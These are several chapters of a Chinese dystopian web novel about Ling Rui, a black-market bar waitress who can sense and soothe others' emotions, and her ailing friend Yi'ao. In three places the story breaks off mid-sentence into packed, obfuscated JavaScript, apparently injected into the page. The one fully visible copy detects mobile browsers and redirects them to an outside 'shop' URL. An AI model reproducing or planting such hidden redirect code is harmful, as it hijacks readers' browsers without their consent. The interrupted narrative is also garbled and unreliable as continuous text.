《首席架构师拒绝回应》 1. 端盘子的第一天 黑市酒吧没有名字。 或者说，它的名字每隔几个月就换一次。 取决于老板欠了多少钱，以及上一次被抄查后招牌还能不能捡回来用。 常客们从不叫它的名字，只说老地方。 这三个字在黑市地盘上比任何招牌都管用，顺着巷子里那股廉价酒精和神经连接液混在一起的气味走，就能找到这里。 凌芮推开后门，把两大袋垃圾拖进后巷，袋子上破了几个洞，泔水顺着她的手腕淌到袖口，她没低头看。 下水道的酸臭味翻着泡往上冒，第三个巷口的路灯暗了两盏。 暗掉的那两盏下面总蹲着几个人，在等深夜落单的醉鬼。 她把垃圾袋甩到投放点，拍了拍手，直起腰。 头顶是城市特有的那种暗红色光污染，把云和夜色都染成一片永不真正黑下去的灰暗。 在这种光下面，人的脸只能看清轮廓。 她在这片红光里活了五年，黑市里所有人的表情都差不多。 疲惫、警惕、和某种习惯性的麻木，偶尔掺杂一点转瞬即逝的贪婪。 凌芮踩在黏糊糊的水泥地上，带着一种轻快的节奏，她在后门口站了一会儿。 后巷的空气并不新鲜，只是比起酒吧里，那一堆人的汗味和神经连接液的铜锈味，勉强算得上干净。 墙角那株野花从砖缝里长出来，茎细得像一条绿色的线，顶端却开着一朵小白花。 花瓣只有指甲盖大小，被暗红色的光污染一照，显出某种微弱的暖色。 凌芮每次下班都会看它一眼，这朵花是这条巷子里唯一一个不属于任何人的东西。 没有人给这朵花浇水，没有巡管员来给它评级登记，偶尔还有人捏它的花瓣。 凌芮转身推门回了酒吧。 空气重新裹上来，廉价酒精蒸发的甜腻，神经连接液被加热后散出的金属味，人的体味，这些味道叠加在一起，像一床从来没洗过的厚棉被。 凌芮从吧台上端起六杯酒，托盘往肩上一架，右脚跨过一块黏糊糊的地板，她已经在这家酒吧端了两年盘子，闭着眼都能避开地上的脏东西。 六杯酒是给五号桌的，五号桌坐的是玛格婆婆手底下的人，给钱爽快，但是脾气不好。 凌芮走到桌边，弯腰放下杯子，顺手收走压在空杯底下的纸币，塞进口袋。 她退到吧台角落，背靠着发潮的墙板，扫了一圈。 七号卡座有个客人正在对着神经接口吹气，吹完又拿袖子擦金属触点，四号桌有人在哭，眼泪掉进杯子里也不停。 角落的散座上趴着一个年轻男人，脸埋在手臂里，肩膀在抖，他袖口缝着采集工厂的编号条。 T-27区，情绪采集岗。 凌芮多看了他一眼。 在这里哭的人太多了，但是刚才那一瞬间，她感知到了某种尖锐的信号。 她的感知不像视觉或听觉那样有明确的方向和范围。 它更像是一种味觉，像把她扔进一锅汤里，酸甜苦辣咸混在一起，往身体里灌。 大部分人的情绪是浑浊的，模糊的，像脏水。 凌芮也不知道是不是因为黑市环境，但是她在这种脏水里泡了五年。 从十二岁神经觉醒那年开始，她就发现自己能在别人最崩溃的时候，捕捉到那些情绪的形状。 但刚才那一瞬间，趴在桌上的那个男人发出的脏水，仿佛电流一样乱窜。 失控。 这两个字瞬间出现在凌芮的脑海中，她朝那个角落走过去。 先绕到七号卡座收了个空杯，又从四号桌旁边经过，看了一眼那个哭的人。 在她经过的几秒内，四号桌的哭声变轻了一点。 走到散座区的时候，那个男人还在发抖，三十出头，工装外套洗变了形，袖口的编号条被磨得字迹模糊。 凌芮在他对面站住，俯身，把手按在了他的手腕上，他的情绪碎片顺着接触点涌过来。 她感受到了情绪的形状和温度，这个人的恐惧是冰的，最底层的那一层恐惧，是怕下一顿饭没有着落。 被工厂辞退时的一片空白，人事部念他名字时嘴唇的动作，回家路上把口袋翻了三遍也没找到一枚硬币的触感，站在家门口却没有勇气敲门的那几十秒。 这些情绪的形状浸泡着她，他的恐惧正在通过未被防火墙过滤的神经信号向外泄漏，感染周围的人。 四号桌的人开始哭得更厉害了，角落散座旁边一桌突然有人站起来踢翻了椅子。 人类的情绪是会共振的，当一个人的恐慌足够尖锐，周围所有人都会开始感到不安，即使他们不知道为什么。 凌芮让自己的神经波动降低到一个相对稳定的频率，然后通过接触点传递过去。 几分钟过去，也许是几秒。 男人的肩膀停止了发抖，他抬起头，眼眶红着，看向凌芮的目光茫然得像刚从水里被捞起来。 “你喝多了。”凌芮收回手，“再喝一杯我帮你叫车。” “我没钱叫车。”男人声音沙哑。 “那就走到大路上去。”她把桌上最后一个空杯收走，“这里不让趴桌。” 她转身走回吧台，路过四号桌的时候，那个哭的人已经安静下来在擤鼻子，刚才踢翻椅子的男人把椅子扶了起来，在跟同行人说：“没事，刚有点上头”。 没人注意到她做了什么，在这里，不被注意是常态，每个人都在应付自己的烂摊子，没空看别人。 凌芮已经习惯了，以前她还会觉得委屈，凭什么她做了别人做不到的事，却没人看她一眼。 后来她想通了，在这种地方，被注意到才是坏事。 被巡管员注意到，你会被登记，被评级，被打上标签，然后扔回底层。 被黑市掮客注意到，你会被估价，被利用，被榨干最后一滴价值，再被丢弃。 所以她后来也从没承认过自己做了什么,客人问就说“你喝多了”。 老板问就说“我不知道你在说什么”。 玛格婆婆问起来的时候，她也没有回答。 玛格。 这个名字闪过脑海时，她下意识摸了摸口袋。 那张纸条还在，折成小块，压在伊奥的病例单底下，她已经好几天没翻那张纸条了。 倒不是忘了，她这种人什么都可能忘，就是不会忘记哪里放着能用的资源。 她只是还没想好，或者说，她还没走到那一步。 但也许快了，凌芮有些烦躁，伊奥的药每个月都在涨，而她的工资每个月都是死的。 吧台后面，老板在擦杯子，老板是个五十多岁的中年男人，发际线后退得厉害，脖子上纹着一只被洗掉一半的蝎子尾巴。 老板见她过来，抬了抬下巴：“五号桌结账没有？” “结了。”她把纸币掏出来，拍在台上。 老板数也没数就收走了，他从不过问店里多余的事，只要客人不闹事，别把巡管员招来，他甚至不会多看一眼。 凌晨一点半，最后一批客人互相搀扶着出了门。 老板锁了收银机，指了指后厨方向，倒垃圾是凌芮的活，每个夜班都一样。 她拖着半人高的垃圾袋推开后门，把袋子甩到投放点，拍了拍手。 “今天下班比平时晚。” 声音从巷口的阴影里传出来。 凌芮没动，她认得这个声音。 玛格婆婆从阴影里走出来，六十岁左右的年纪，走路不快，脸上挂着一种和善的笑容，灰扑扑的外套和黑市里任何一个老太太都没区别，但她的口袋里装着糖。 那种最便宜的薄荷糖，塑料包装上印着褪色的字。 玛格婆婆走到凌芮面前，伸出手，递给她糖。 凌芮接了。 她第一次被递糖的时候没有接，第二次也没有，第三次她接了。 她发现自己不接的话，这老太太会一直站在那里等着，那种耐心在黑市里非常罕见。 在这里，所有人都在赶时间，赶着赚钱，赶着逃债，赶着在下一轮巡管来之前把摊子收了。 一个愿意等的人，要么是傻瓜，要么有比时间更值钱的筹码。 玛格绝不是傻瓜。 凌芮剥开糖纸，把糖塞进嘴里。 凉的，薄荷味从舌尖窜到鼻腔。 “我看了你好几次了。”玛格说，声音不急不缓，“每次有人失控，你都在附近。” 凌芮咬着糖，没接话。 “不是凑巧。”玛格继续说，“我看到了。” 凌芮把糖从左边换到右边，她不打算否认，但也不打算就这么承认。 否认没用，承认更蠢，在黑市承认自己有特殊能力，等于把自己往掮客的名单上写，她现在还不想上名单。 “你想说什么？”她问。 “有更值钱的活。”玛格从口袋里掏出一张对折的纸片，纸质很薄，在暗红色的光里泛着白，“比你端盘子值钱得多。” 她用两根手指把纸片按在旁边的水泥墙上，然后转身走了，灰扑扑的背影融进巷口的暗处。 凌芮在巷子里多站了一会儿，直到玛格婆婆彻底离开。 她把纸片从墙上揭下来，一串手写的号码，字迹整齐到不像黑市里的人该有的笔迹。 凌芮把纸折了两折，塞进口袋。 她不打算现在就去找玛格，她正要转身离开，视线扫过后巷深处。 第三条巷子的方向，暗掉的两盏路灯下面，今天果然也蹲着人，三个模糊的轮廓挤在墙根，在分什么东西。 即使在暗红色的光里看不清细节，她也能感知到那个方向上飘过来的情绪残渣。 贪婪、急切，还有那种特有的兴奋和警惕。 她收回目光，没有多看。 在黑市，不该看的别看，这条规则排在所有规则的前面。 回到公寓已经快凌晨两点。 公寓是地下室的隔间，走廊里永远一股潮味，墙皮剥落的灰渣在墙角堆成一条一条的，她推门的时候放轻了动作。 灯亮着。 伊奥窝在那张弹簧塌了一半的单人沙发上，膝盖上摊着什么东西，是一个小竹篮，篮子里装着半成品的手工串珠，透明的玻璃珠在暗红色的光里闪着细碎的光。 她的手指还捏着一颗珠子，头已经歪在沙发扶手上，伊奥睡着了。 凌芮站在门口，没出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那天放学前，她在走廊角落里找到了伊奥，伊奥也没通过筛查，但她根本不是觉醒失败，而是遗传性慢性神经退行性病变，和觉醒没有半毛钱关系。 但委员会的判定系统不管这些，只要你的神经密度不达标，不管是什么原因，一律归为同一类。 当时伊奥靠在墙角，绞着校服的下摆，轻声问她：“你也被分到观察区了吗？” 那是她们第一次说话，从那天起，她们就一直是彼此的家人。 “我知道你是为我好。”伊奥的声音把凌芮拉回现实，轻得几乎要被墙角的通风管道吞掉，“但是你每天那么晚才回来，我……我也想帮一点忙。” 凌芮脱鞋的动作停了，她把鞋放到门口，转过身。 伊奥没有看她，视线落在竹篮里的玻璃珠上，那些珠子在暗红色的光里亮晶晶的，像某种廉价的星星。 “你帮我的方式。”凌芮说，语气比刚才轻了一半，“是按时吃药，吃饭，睡觉，别的事我来。” “可是……” “没有可是。”凌芮站起来，把竹篮放进墙角的小柜子里，关上柜门，然后走到窗台前，给搪瓷缸里的野花浇水，“你再偷偷接活，我就把珠子退回去。” 伊奥没说话，凌芮也没回头，但她在水杯倾斜的角度里，从搪瓷缸的水面上，看见伊奥在她背后轻轻地笑了一下。 野花在搪瓷缸里颤了一下，水珠从花瓣上滑落。 这株花本来和巷口那株一样是没有所有权的，但是凌芮把它从黑市另一个角落移回来的，栽在这个缺了口的搪瓷缸里。 搪瓷缸是她从父母家里带出来的为数不多的东西之一，缸身上印着褪色的红字。 埃瑟庄园·春。 那几个字已经磨损得快看不清了，但她一直没舍得扔。 伊奥没有问过她为什么要养野花，她只是每天帮花浇水，凌芮不在家的时候，她会把搪瓷缸挪到通风口下面，那里有一小片从地面渗下来的微光。 “凌芮。”伊奥忽然说。 “嗯。” “玛格婆婆又找你了吗？” 凌芮把水杯放回桌上，在床沿坐下来，“嗯。” “你要去找她吗？” “还没想好，先打听一下她的底，我可不是随便什么人。”凌芮躺下去，把被子拉到胸口。 天花板上那条裂缝从墙角蜿蜒到中间，像一条河，她每天躺下都看这条裂缝，看着看着就觉得自己在河的这一边。 河的那一边是什么？不知道。 “你别操心这个，睡觉。” 伊奥没有再追问，她安静地把毛毯裹紧，缩回沙发里。 过了很久，在凌芮以为她已经睡着的时候，她的声音又轻轻响起来。 “如果你要去，一定要小心。” 凌芮没有回答。 黑暗里，窗台上那株野花还在微微发亮，在它旁边的柜子里，竹篮和玻璃珠安静地挤在角落。 凌芮闭上眼睛，口袋里的纸片贴着大腿，硬邦邦的，她把被子往上拉了拉，翻了个身。 2. 端盘子的第二天 黑市的休息日和别处不太一样。 这里的休息不是不工作，是换一种方式工作。 工厂做四休一，酒吧做六休一。 黑市本身永远不休息，买卖、催债、收尸、跑腿，总有人在凌晨三点还在巷子里走来走去。 凌芮不知道这座城市的其他区域是不是也是这样，她十二岁后从来没离开过黑市的地界，至于十二岁以前，也不过是在委员会划定的低价值人口安置区生活。 安置区的边界她曾经看过，一道灰扑扑的隔音墙，上面刷着“未经授权不得跨越”的红字。 她的休息日也是伊奥的休息日，因为只有这一天她能全程盯着伊奥，确保她不吃剩饭，不偷偷接活，不熬夜看旧档案。 凌芮不是那种喜欢管别人的人，但她对伊奥例外，伊奥是她的朋友。 她推开门的时候，阳光正从地面以上的小气窗漏下来，地下室的窗户不是真正的窗户，是一道开在墙体最上方的窄缝，勉强透进来一缕被过滤过的光。 光落在窗台的搪瓷缸上，野花的影子投在墙壁上，晃悠悠的。 伊奥没在沙发上。 凌芮环视了一圈，发现她坐在床沿，手里拿着一把小剪刀，正在剪什么东西的线头。 床上有几团毛线和一条织了一半的围巾，针脚歪歪扭扭的，有几处明显漏了针，露出小洞。 凌芮把手里提着的袋子放到桌上，“上周不是退回去了吗？” “三楼觉得不好看，但四楼安姨说可以卖，深色有人要。”伊奥头也没抬，继续剪线头，“我把三楼说的那些漏针的地方拆了重织了，安姨说比上次好。” “上次那条最后卖了多少？” “三条一共卖了四分之一盒药。” 凌芮沉默了一秒。 四分之一盒药，药是论盒卖的，一盒吃两周，伊奥每个月需要两盒。 这个数学题不需要算，因为不管怎么算都是亏的。 但她从来没有彻底阻止伊奥做这件事，因为她知道伊奥需要做点什么。 “我给你带了吃的。”凌芮把袋子打开，掀开盖子，“底下有煎蛋，食堂剩的。” “你们酒吧还有食堂？”伊奥放下剪刀，接过饭盒。 “隔壁巷子那家工厂食堂。”凌芮也在床沿坐下来，把毛线往旁边推了推，“跟老板娘认识，她儿子当年也在观察区，后来工厂收了。” “你拿什么换的？” “上次帮后厨搬货，老板欠我的。” 伊奥看了她一眼，没有追问。 她低头吃饭，吃了几口，把煎蛋掰成两半，一半递过来，凌芮摆手，说在工地食堂吃过了。 伊奥把煎蛋又放回饭盒里，放在饭菜旁边，像某种无声的抗议。 凌芮站起来去给花浇水，缸身上印着的红字，被水渍和锈迹侵蚀得只剩最后三个字勉强可辨。 庄园·春。 凌芮的母亲年轻时在埃瑟家族做过代偿者，这个搪瓷缸是她当年在庄园里的生活用品，合同期满被退货后，这件东西是少数几件能带走的私人物品。 后来抚养凌芮，搪瓷缸也从茶杯变成了漱口杯，再后来被凌芮拿走栽了花。 凌芮往土里倒了半杯水，土是她在后巷墙根挖的，混了路边捡的沙。 野花是三个月前从一个废弃采集工厂的墙根下拔的，根上还裹着一小坨黄泥。 工厂是情绪采集行业的遗迹，几十年前第一批采集车间就建在黑市腹地，后来技术迭代，这些老厂区被委员会废弃，成了流浪汉和野猫的窝。 凌芮路过的时候，这株花正从车间外墙的裂缝里探出来，在锈迹斑斑的铁架下面开了一朵小白花，她蹲下看了很久，然后用手把它连根刨了出来。 工厂废墟的土是灰的，实验室的土是白的，黑市巷口的土是脏的，但这些都被她混在一起，装进母亲从埃瑟庄园带回的搪瓷缸里。 只是在浇水的时候，她偶尔会想：这盆土和这朵花，大概是黑市里唯一同时装着三个世界的东西。 伊奥从饭盒上抬起头，看向窗台，“花还好吗。” “还活着。”凌芮把水杯放回桌上，“比你能吃。” 伊奥用筷子把饭盒里的米粒拨整齐，拨了一会儿，忽然说：“其实你不用每次都给我带吃的，我有饭吃。” “你吃的什么，安姨给的白水面条？” “面条也是饭。” “面条不是饭。”凌芮坐回床沿，把伊奥手里的饭盒往她嘴边推了推，“多吃点，你现在比上个月又轻了。” “吃再多腿也不会好。” “又在说丧气话。” “这叫现实主义，你学学。” “现实主义就是吃饱了才能活。”凌芮把筷子从伊奥手里抽出来，夹了一块菜直接递到她嘴边，“先把这口吃了。” 伊奥张了张嘴，吃了。 嚼的时候她的表情带着一种“我吃不是因为你说得对，而是因为我不想跟你吵”的忍让，但凌芮看出来了，她今天胃口比上周末好一点。 上周末她吃了半盒就说饱了，今天至少吃了大半。 饭后，伊奥开始吃药。 她的药有两种，分有症状时吃的和日常维持的，每一种都装在不同的瓶子里，瓶子是从旧货市场收来的，没有标签，瓶身上画着记号。 凌芮看着伊奥把药一粒一粒地数出来，手心托着七八颗不同颜色的药片，像托着一把碎掉的彩虹。 “这瓶快没了。”伊奥指着一个画了蓝线的瓶子。 “明天去买，下班顺路。” “又涨价了，安姨说她儿子那边的渠道这个月涨了两成。” 凌芮的动作只停了半拍，然后继续整理饭盒，“知道了。” 伊奥把药吞下去，喝了半杯水。 喝水的时候她看着窗台上的野花，花在气窗漏下来的光里微微发亮，叶子上还挂着刚才浇水留下的水珠。 “这花像我们。”伊奥忽然说。 “哪里像。” “没人管，还活着。” 凌芮把饭盒盖子啪地合上，“像什么像，快把药吃完。” 伊奥把杯子里剩的水喝完，放下杯子。 “玛格婆婆的事。”她说，“你想好没有。” “还没。”凌芮实话实说，“打听了一圈，只知道她叫玛格，在黑市做了二十年，从来没出过事，要么她运气好，要么她后台硬，两种情况都不适合急着去。” “但是你在考虑。” “因为她说有更值钱的活。”凌芮把饭盒装回塑料袋，打了个结，搁在门边，“不是那种值钱，是比端盘子值钱得多的那种值钱，你想想，黑市里什么人敢用这种口气说话。” 伊奥沉默了一会儿，“那你打算怎么打听。” “先把酒吧的事稳住。”凌芮说，“老板那边，我上周问过涨工资的事。” “他怎么说。” “他说酒吧生意不好，等好起来再说，然后第二天换了张新招牌，换招牌比给我涨工资贵。” 伊奥轻轻笑了。 窗台边的搪瓷缸里，野花的花瓣在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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抽屉里已经攒了不少，有纸币，有硬币，还有一张早就失效的医疗券，凌芮每次给她钱，她都收着，但从不花在自己身上。 抽屉的最里面有一个铁盒子，盒子里装的是她攒下来的所有钱，从去年开始，一笔一笔，只进不出。 铁盒子底下压着一张纸，纸上写着一串号码，是她从凌芮口袋里偷看到的，玛格婆婆的那串号码。 她把今天这几张纸币放进铁盒子，盖上盖子，推回抽屉深处，关上抽屉的时候，窗台上的野花在最后一缕微光里轻轻晃了一下。 伊奥看着那朵花。 她比任何人都清楚，自己不会活得太久。 遗传性神经退行性病变在委员会的评级体系里没有任何商业价值，所以也没有被列入任何免费治疗的名单。 委员会的逻辑很简单，没有觉醒价值的人是燃料，得了绝症的燃料是残次燃料，残次燃料不值得分配医疗资源。 她的腿会在接下来的几年里逐渐失去知觉，然后是手臂，然后是呼吸。 但她并不觉得这朵花像她，这朵花是凌芮从废墟里救出来的。 伊奥缩回沙发，把毛毯裹紧。 她抬起头，看着天花板上那盏昏黄的灯，灯光在通风管道的嗡鸣声里微微闪烁。 “现实主义。”她轻声对自己重复了一遍，闭上眼睛。 3. 端盘子的第三天 通风管道的嗡鸣声准时在六点响起。 凌芮睁开眼，盯着天花板上的裂缝发了三秒呆。 裂缝还是老样子，从墙角爬到天花板中央，像一条干涸的河。 她把手伸到枕头底下，玛格婆婆的纸条还在，折成小方块，和伊奥的病例单压在一起，硬邦邦地硌着指腹。 她把纸条掏出来，对着气窗漏下来的微光看了一遍，号码还是那串号码，她把纸条重新折好塞回口袋。 伊奥已经醒了，正靠在床头翻一本旧书，书脊的线装订已经散了，书页一翻就掉渣，她看起来今天精神尚可，嘴唇的颜色比平时多了一点血色。 “你今天要去买药？”伊奥从书页上抬起眼睛，她的声音还带着晨起的沙哑，但语气是清醒的。 “嗯，剩两颗了。”凌芮套上外套，对着墙上那块破镜子片扒拉了两下头发，脸上还留着枕头压出来的红印，搓了两下没搓掉。 “上次老伍说可能要涨价。” “那就更要今天去。”她把口袋里的硬币掏出来数了一遍。 伊奥合上书，看着她把硬币一枚一枚排在床头柜上，排了两排，又拢回去。 “如果涨了呢？” “涨了也有办法。”凌芮把硬币扫进口袋，拍了拍，“我先去药铺看价格。” 凌芮从床头柜抽屉里翻出伊奥的药盒，打开数了数里面剩下的药片,确实只剩两颗。 伊奥在她身后说了一句“路上小心”，声音轻得像是说给被子听的，但凌芮听到了。 她推门出去，走廊里已经有脚步声了。 楼上去工厂上早班的人在楼梯口排着队接水，铁皮水桶碰在水泥地上哐哐响。煤油炉的气味从走廊尽头飘过来，混着合成麦片的甜腻。 那种甜是假的，吃完嘴里会发苦，但胜在便宜，能在胃里撑一上午。 “怀特！” 她路过隔壁门口的时候喊了一声。 没人应，但是门没锁。 凌芮推开一条缝，看见一个老人坐在床边，背对着门。 怀特的右手搁在膝盖上，手里捏着一支笔，笔正在抖，指尖敲在纸面上发出细碎的嗒嗒声。 他面前摊着一张纸，纸上的一行字被抖出来的墨点溅得斑斑点点。 “怀特。” 怀特没回头，“门没关好，你推就行。” 凌芮走进去。 房间里有一股旧纸箱和铁锈的味道，墙角堆着几摞废报纸。 她在他面前蹲下来，看着他发抖的右手。 “半夜开始抖的？”她问。 “这次时间长。”他把铅笔换到左手，用左手把右手按在膝盖上，像是在制服一只不听话的动物，“之前几分钟就好，这次快一个小时了。” “频率比以前高了。” “嗯，大概过两个月就得让你来一次。” “两个月？”凌芮伸手握住他的手腕，找准腕关节内侧，两根手指搭上去。他的脉搏跳得又乱又浅，和那个采集工的恐惧不一样，怀特的脉搏不是恐惧，是疲倦。 一种被反复磨损之后的疲倦。 “上次发作是十天前，你记错了。” 怀特沉默了一下，“我不想记得那么清楚。” 凌芮没接话。 她闭上眼睛，把自己的神经波动放慢，放稳，然后顺着接触点送过去。 怀特的手在她掌心里渐渐安静下来，过了一会，凌芮松开手。 怀特不是觉醒者，他是感潮者。 这两个词在黑市之外的任何地方都不会被放在一起比较，在委员会的评级体系里，它们之间的差距就是人和废品的距离。 觉醒者是能主动影响他人情绪的个体，感潮者只是情绪敏感度高于平均值的普通人。 感潮者可以在采集工厂当情绪引导员，引导工人在流水线上保持稳定输出，曾经算是有技术含量的工种。 但委员会后来改了采集标准，把引导员的岗位用自动化神经接口替代了，高密度神经不再值钱。 怀特被辞退的时候，连伤残补贴都没拿到，因为他的神经密度测试结果是，仍在正常范围。 阈值是委员会定的，刚好比他低了两个点。 为了这两个点，怀特写了八年的申诉信。 “今天写了？”凌芮朝床头柜上那张纸抬了抬下巴。 “写完了。”怀特说，“不改了，最后一封。” “怎么忽然想通了。” “手抖得字都写不成了。”他把纸拿起来递给她看，上面的字歪歪扭扭，有几处成了一团，“你看，这行写的什么。” “看不清。” “写的是，申请人神经密度数据误差说明，现在我自己都看不清自己写了什么。” 凌芮把纸折好，递回去，“信呢，拿来。” 怀特从枕头底下抽出一个牛皮纸信封，信封上贴好了邮票，地址写着：神经标准委员会申诉与评级复核部。 他把信封递过来的时候手又开始抖，信封边缘在她指尖划出一道轻响。 “你确定不自己寄？”凌芮把信封塞进口袋。 “我怕自己又拿回来改，改了一百多遍了。”怀特靠在床头上，摘下老花镜擦了擦，镜片上的裂缝还在，用胶布粘着的，是他自己修的，“我写的申诉信加起来能出一本书。” “那你就出啊。” “那不行，都是同一个内容翻来覆去写。”怀特笑了一下，笑得干涩，像砂纸擦过木头。 “那你为什么还写？” 怀特没有马上回答，他把眼镜重新戴上，看着窗外气窗漏下来的那一条灰白的光，楼下有人在吵架，声音从通风管道传下来，模糊不清，像隔着一层水雾。 “因为我咽不下这口气。”他说，“两个点，不是我的错，是他们的机器校准有问题，我查过了，那年同批次测试的人，有七个被误判。” 凌芮靠在门框上，把手插进口袋，她的手指碰到了怀特的信封，也碰到了玛格的纸条。 “寄到了请我吃饭。” “请你吃什么。” “贵的。” “贵的我买不起。” “那就请两顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587127|205333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便宜的。” 怀特在她身后笑了一声，笑声被咳嗽打断，她替他带上门，把咳嗽声和煤油炉的气味一起关在门板后面。 药铺的招牌在灰蒙蒙的日光里褪得几乎看不见字，夹在二手神经接口店和过期营养膏铺子之间，门面窄得像一条竖起来的棺材板。 凌芮推门的时候门轴发出一声尖锐的响，像在抗议什么。 老伍正趴在柜台上打瞌睡，脑袋一点一点的，下巴快碰到摊开的账本。 柜台上摆着一排药瓶，玻璃柜台下面锁着更贵的药。 黑市的药分三等：最便宜的是地下作坊的仿制品，成分只有正品的一半，吃了不一定有用，但至少不致命。 中间的是正规渠道的神经稳定剂，价格透明，效果有保证。 最贵的是走私货，从上层供应链的缝隙里漏下来的，它们偶尔会出现在黑市的柜台下面，标着大部分人攒一年也凑不出的价格。 “老伍。” 老伍猛地抬头，下巴差点磕在账本上，他眯着眼认了一会儿，叹了口气，“又是你。” “买药，还是上次那种，两盒。”凌芮靠在柜台上，把口袋里的硬币和纸币全掏出来，在柜台上排成一行。 老伍从柜台下面拿出两盒神经稳定剂放在柜台上，然后报了个数字。 凌芮数钱的手停住了，她抬头看老伍，老伍没看她，在擦一个已经擦得很干净的玻璃柜台。 她的手指在柜台上敲了两下，然后把硬币重新数了一遍，又把纸币按面值分成几小堆。 不够。 差得不多，如果她是上周来买，这些钱够两盒，但今天是这周，这周的药价比上周跳了两成。 她在心里把两成换算成工作时间，多出的钱够她多端好几晚盘子。 “涨了两成。”她说。 “货运不稳，上游在囤货。” “上次你也说上游在囤货。” “上次是上次，这次是这次。”老伍把抹布放下，终于看她。他的表情有些无奈，“我拿到的价涨了，卖给你的价就得涨。” 凌芮知道他说的是实话，老伍在黑市卖了十几年药，这点信誉还是有的，但涨价从来不需要理由。 上游收紧配额，货运渠道被查，或者委员会又调整了外围区域的药品分配额度，任何一个环节动一动，黑市的药价就跟着跳一跳。 她低头看着柜台上的钱，纸币皱巴巴的，硬币混在纸币里闪着暗淡的光，她把钱推出一半，“先买半盒。” “药不拆零。” “那就一盒。”她把钱推过去，“另一盒你帮我留到下午，我下午拿钱来取。” “你去哪弄钱。” “有办法。”她把药盒塞进口袋，转身出了门。 站在药铺门口，巷子里的风灌进来，隔壁营养膏铺子飘出合成香精的甜味，甜得让人反胃。 她把口袋里的东西全掏出来，站在路边清点：一盒药，几枚硬币，病例单，玛格的纸条。 她把纸条展开看了一眼，折回去塞进口袋。 先去酒吧。 4. 端盘子的第四天 白天的酒吧和晚上是两种生物。 晚上是活的，嘈杂拥挤的，被酒精和神经连接液蒸出的热气压包裹着。 白天是死的，椅子倒扣在桌上，地面还没拖，昨晚洒的酒在地板上留下深色的印渍，空气里残留着隔夜的酸味。 老板坐在吧台后面，面前摊着几本账单，他左手边放着一个棕色的小玻璃瓶，没有标签，瓶口塞着软木塞。 凌芮注意到那个瓶子，瓶身透出的液体颜色不对，正规药剂的颜色是清亮的，这个瓶子里的液体在光线里显出某种可疑的浑浊，瓶底还有一小撮白色沉淀物。 “老板。” 老板头也不抬，“你今天不上班。” “我来说涨工资的事。” “上次说过了。” “上次你说再想想。”凌芮拉了一把椅子坐下来，趴在吧台上，下巴搁在手臂上，“想好了吗？” “想好了。”老板头也没抬，手里的笔没放下，“不行，生意不好。” “那就是没想。” “想了，结论是不行。” 凌芮没有立刻接话，她把手从吧台上收回来，靠在椅背上，看着老板。 昨晚的客人不多，巡管员上周也来了，酒吧的生意确实受到了影响，但老板永远有办法在哭穷的同时换新招牌。 “那你帮我一个忙。”她换了个策略，“不涨工资也可以，你今天先预支我一盒药的钱，从下周工资里扣。” “预支也不行，你上周已经预支过一次了。” “那次是预支饭钱，不是药钱。” “都是钱。”老板把账单翻了一页，“不是我不帮你，是规矩，今天你预支，明天后厨也要预支，后天调酒师也要，我这店就不用开了。” “那就只给我一个人预支，你跟后厨说，凌芮是特殊照顾对象，因为她长得好看。” 老板终于抬头看她一眼，“你这张嘴。” 凌芮不算让人一眼惊艳的大美人，但放在人群里，属于那种会让人多看半眼的类型，五官端正，脸小，下巴尖巧，不笑的时候有点冷，一笑起来整张脸都往上提，带着一股不管不顾的鲜活劲儿。 她的气质比长相更有辨识度，瘦削利落，走路不拖步子，说话的时候眉毛比嘴快，浑身上下透着一种随意。 最特别的是眼睛，深棕色，在暗处看起来近乎黑，但在光线下会透出一层浅浅的琥珀色，在黑市灰暗的光线里亮得不合时宜，像一小簇没被浇灭的火。 老板把笔放下，拿起吧台上那个棕色小玻璃瓶晃了晃，“跟你母亲学的？” “跟她没关系。”凌芮的目光落在那瓶子上，“这是什么。” “催醒素，说能提高觉醒概率。”老板把瓶子放在吧台上，朝她推了推。 凌芮拿起瓶子对着光看了看，淡蓝色的液体，瓶底有一小撮白色沉淀物，她把瓶子摇了摇，沉淀物浮起来，在液体里翻了几下又沉下去。 “假的。” “你怎么知道。” “神经密度在青春期脑发育期就定型了，之后再用药干预，只能损伤神经。”她把瓶子放回吧台，“正经药剂不该有沉淀，要么是地下作坊不干净，要么是成分压根没溶解，这药百分百没用。” 老板把瓶子拿回来看了看，他脸上的表情有些犹豫，是那种“不想信但知道对方说得有道理”的犹豫。 “你又在哪学的这些。”他问。 “我母亲说的。” “她怎么知道这么清楚。” “她在埃瑟家做了五年代偿者。” 这句话让老板的眉头动了一下，他把催醒素的瓶子放到一边，重新打量凌芮。 “埃瑟家的代偿者？”他把这几个字嚼了一遍，“你之前没提过。” “你也没问过。” “代偿者就是那种？”老板做了个含糊的手势。 “那种把情绪传给壳中人的。”凌芮靠在椅背上，把腿伸直，看着天花板上那盏没开的吊灯。 “代偿者都是感潮者，高敏感神经结构，天生的。壳中人装了防火墙之后情感钝化，久了就麻木了，什么都感觉不到。需要定期接入代偿者的情绪来维持体验。” “我妈在埃瑟庄园里给他们的家族成员做了五年，二十出头进去，二十五岁被合同到期，退货回来。” 她说到退货的时候语气很平，像是在说一件和自己无关的事。 